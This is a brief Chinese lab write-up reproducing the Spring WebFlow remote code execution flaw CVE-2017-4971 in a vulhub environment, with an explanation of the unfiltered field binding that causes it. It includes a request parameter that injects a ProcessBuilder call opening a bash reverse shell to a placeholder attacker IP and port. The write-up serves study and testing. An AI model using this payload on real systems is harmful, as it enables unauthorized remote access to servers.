spring框架远程代码执⾏漏洞(CVE-2017-4971)漏洞影响
影响版本:Spring WebFlow 2.4.0 - 2.4.4
漏洞复现
搭建漏洞环境并访问
点击左上⾓登录,使⽤左边给的⽤户名密码登录
登录后
点击confirm时,进⾏抓包
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端⼝号+0>%261")).start()=vulhub
攻击机监听端⼝1234
放包,即可获取到shell
原理
就是在订阅酒店处,存在⼀个命令执⾏,直接调⽤了两个函数,这两个函数,⼀个是:addDefaultMappings ,⼀个是addModelBindings。
其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,⽽addModelBindings是直接获取的java的⼀个配置⽂件,由配置⽂件来确定是否有 binder 节点,如果有,就⽆法触发代码执⾏。所以条件有两个:
(1)binder节点为空;cve漏洞库
(2) useSpringBeanBinding 默认值(false)未修改。
由此可实际在代码中到该页⾯,节点为空(代替命令执⾏语句)+默认值为false(点击Confirm按钮
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论